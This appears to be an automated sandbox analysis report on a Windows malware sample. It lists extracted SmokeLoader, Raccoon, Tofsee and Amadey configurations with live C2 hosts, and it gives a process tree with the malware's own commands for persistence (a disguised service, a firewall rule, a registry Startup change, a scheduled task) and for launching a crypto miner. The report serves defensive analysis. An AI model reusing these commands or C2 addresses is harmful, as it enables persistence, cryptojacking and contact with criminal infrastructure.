Analysis

  • max time kernel
    155s
  • max time network
    155s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    13/12/2021, 11:06

General

  • Target
    0b35f65b4fd3568ddd315b347ff08163.exe
  • Size 181KB
  • Sample211213-m7e81sefck
  • SHA256 f570804b4021efcc2376cb10846bb39ba2c9c9c9684922f9a47f45d9f7d014a2
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

  • http://srtuiyhuali.at/

  • http://fufuiloirtu.com/

  • http://amogohuigotuli.at/

  • http://novohudosovu.com/

  • http://brutuilionust.com/

  • http://bubushkalioua.com/

  • http://dumuilistrati.at/

  • http://verboliatsiaeeees.com/

rc4.i32
rc4.i32
rc4.i32
rc4.i32

Extracted

Family
  • raccoon

Botnet
  • 9ea5fe19c17f2e278d5c0d9536978c9866e2383e

Attributes
  • url4cnc

    http://194.180.174.53/hoverpattern31

    http://91.219.236.18/hoverpattern31

    http://194.180.174.41/hoverpattern31

    http://91.219.236.148/hoverpattern31

    https://t.me/hoverpattern31

rc4.plain
rc4.plain

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Amadey CnC Check-In

    suricata: ET MALWARE Amadey CnC Check-In

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 1 IoCs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0b35f65b4fd3568ddd315b347ff08163.exe
    "C:\Users\Admin\AppData\Local\Temp\0b35f65b4fd3568ddd315b347ff08163.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1888
    • C:\Users\Admin\AppData\Local\Temp\0b35f65b4fd3568ddd315b347ff08163.exe
      "C:\Users\Admin\AppData\Local\Temp\0b35f65b4fd3568ddd315b347ff08163.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1336
  • C:\Users\Admin\AppData\Local\Temp\3E5D.exe
    C:\Users\Admin\AppData\Local\Temp\3E5D.exe
    1⤵
    • Executes dropped EXE
    • Checks SCSI registry key(s)
    • Suspicious behavior: MapViewOfSection
    PID:1276
  • C:\Users\Admin\AppData\Local\Temp\9E60.exe
    C:\Users\Admin\AppData\Local\Temp\9E60.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Users\Admin\AppData\Local\Temp\9E60.exe
      C:\Users\Admin\AppData\Local\Temp\9E60.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:416
  • C:\Users\Admin\AppData\Local\Temp\E194.exe
    C:\Users\Admin\AppData\Local\Temp\E194.exe
    1⤵
    • Executes dropped EXE
    PID:3564
  • C:\Windows\SysWOW64\explorer.exe
    C:\Windows\SysWOW64\explorer.exe
    1⤵
    • Accesses Microsoft Outlook profiles
    • outlook_office_path
    • outlook_win_path
    PID:2720
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe
    1⤵
      PID:1224
    • C:\Users\Admin\AppData\Local\Temp\C10.exe
      C:\Users\Admin\AppData\Local\Temp\C10.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:2052
    • C:\Users\Admin\AppData\Local\Temp\1DC4.exe
      C:\Users\Admin\AppData\Local\Temp\1DC4.exe
      1⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:2024
    • C:\Users\Admin\AppData\Local\Temp\23EF.exe
      C:\Users\Admin\AppData\Local\Temp\23EF.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3888
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\vfpbcicm\
        2⤵
          PID:2944
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\medsgssf.exe" C:\Windows\SysWOW64\vfpbcicm\
          2⤵
            PID:3232
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create vfpbcicm binPath= "C:\Windows\SysWOW64\vfpbcicm\medsgssf.exe /d\"C:\Users\Admin\AppData\Local\Temp\23EF.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:1496
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description vfpbcicm "wifi internet conection"
              2⤵
                PID:2356
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start vfpbcicm
                2⤵
                  PID:2188
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:3068
                • C:\Windows\SysWOW64\vfpbcicm\medsgssf.exe
                  C:\Windows\SysWOW64\vfpbcicm\medsgssf.exe /d"C:\Users\Admin\AppData\Local\Temp\23EF.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious use of WriteProcessMemory
                  PID:3544
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:3760
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2036
                • C:\Users\Admin\AppData\Local\Temp\493B.exe
                  C:\Users\Admin\AppData\Local\Temp\493B.exe
                  1⤵
                  • Executes dropped EXE
                  PID:896
                  • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                    "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:572
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                      3⤵
                        PID:2876
                        • C:\Windows\SysWOW64\reg.exe
                          REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\60bb09348e\
                          4⤵
                            PID:2632
                        • C:\Windows\SysWOW64\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe" /F
                          3⤵
                          • Creates scheduled task(s)
                          PID:3668
                    • C:\Users\Admin\AppData\Local\Temp\BA26.exe
                      C:\Users\Admin\AppData\Local\Temp\BA26.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      PID:1984

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          memory/572-187-0x0000000000840000-0x000000000098A000-memory.dmp

                          memory/572-188-0x0000000000840000-0x000000000098A000-memory.dmp

                          memory/572-189-0x0000000000400000-0x0000000000836000-memory.dmp

                          memory/1224-145-0x0000000000190000-0x0000000000197000-memory.dmp

                          memory/1224-146-0x0000000000180000-0x000000000018C000-memory.dmp

                          memory/1276-128-0x0000000000400000-0x00000000004CC000-memory.dmp

                          memory/1276-127-0x0000000000030000-0x0000000000039000-memory.dmp

                          memory/1336-118-0x0000000000400000-0x0000000000409000-memory.dmp

                          memory/1888-120-0x0000000000030000-0x0000000000038000-memory.dmp

                          memory/1888-121-0x00000000008F0000-0x00000000008F9000-memory.dmp

                          memory/1984-209-0x00000000029E0000-0x0000000002A25000-memory.dmp

                          memory/1984-214-0x00000000054D0000-0x00000000054D1000-memory.dmp

                          memory/1984-207-0x0000000005420000-0x0000000005421000-memory.dmp

                          memory/1984-215-0x000000006E090000-0x000000006E0DB000-memory.dmp

                          memory/1984-206-0x0000000005AE0000-0x0000000005AE1000-memory.dmp

                          memory/1984-208-0x00000000055E0000-0x00000000055E1000-memory.dmp

                          memory/1984-210-0x00000000054C0000-0x00000000054C1000-memory.dmp

                          memory/1984-205-0x000000006FE00000-0x000000006FE80000-memory.dmp

                          memory/1984-203-0x0000000000850000-0x0000000000851000-memory.dmp

                          memory/1984-202-0x0000000076640000-0x0000000076731000-memory.dmp

                          memory/1984-201-0x0000000076830000-0x00000000769F2000-memory.dmp

                          memory/1984-200-0x0000000000E00000-0x0000000000E01000-memory.dmp

                          memory/1984-211-0x0000000005480000-0x0000000005481000-memory.dmp

                          memory/1984-213-0x0000000074BE0000-0x0000000075F28000-memory.dmp

                          memory/1984-212-0x0000000073A40000-0x0000000073FC4000-memory.dmp

                          memory/1984-199-0x0000000000850000-0x0000000000954000-memory.dmp

                          memory/2024-163-0x0000000000400000-0x00000000004CC000-memory.dmp

                          memory/2036-190-0x0000000000400000-0x00000000004F1000-memory.dmp

                          memory/2036-195-0x0000000000400000-0x00000000004F1000-memory.dmp

                          memory/2052-157-0x0000000000950000-0x0000000000A9A000-memory.dmp

                          memory/2052-158-0x0000000000400000-0x0000000000828000-memory.dmp

                          memory/2052-156-0x0000000000950000-0x0000000000A9A000-memory.dmp

                          memory/2572-136-0x0000000000030000-0x0000000000038000-memory.dmp

                          memory/2720-142-0x0000000003000000-0x0000000003074000-memory.dmp

                          memory/2720-143-0x0000000002D50000-0x0000000002DBB000-memory.dmp

                          memory/3040-129-0x00000000010B0000-0x00000000010C6000-memory.dmp

                          memory/3040-137-0x0000000002D20000-0x0000000002D36000-memory.dmp

                          memory/3040-175-0x0000000003260000-0x0000000003276000-memory.dmp

                          memory/3040-122-0x0000000000DD0000-0x0000000000DE6000-memory.dmp

                          memory/3544-182-0x0000000000400000-0x0000000000824000-memory.dmp

                          memory/3564-147-0x0000000000870000-0x000000000091E000-memory.dmp

                          memory/3564-148-0x0000000000D70000-0x0000000000E01000-memory.dmp

                          memory/3564-149-0x0000000000400000-0x0000000000868000-memory.dmp

                          memory/3760-178-0x00000000008B0000-0x00000000008C5000-memory.dmp

                          memory/3760-180-0x00000000005C0000-0x00000000005C1000-memory.dmp

                          memory/3760-181-0x00000000005C0000-0x00000000005C1000-memory.dmp

                          memory/3888-164-0x0000000000030000-0x000000000003D000-memory.dmp

                          memory/3888-165-0x0000000000830000-0x0000000000843000-memory.dmp

                          memory/3888-166-0x0000000000400000-0x0000000000824000-memory.dmp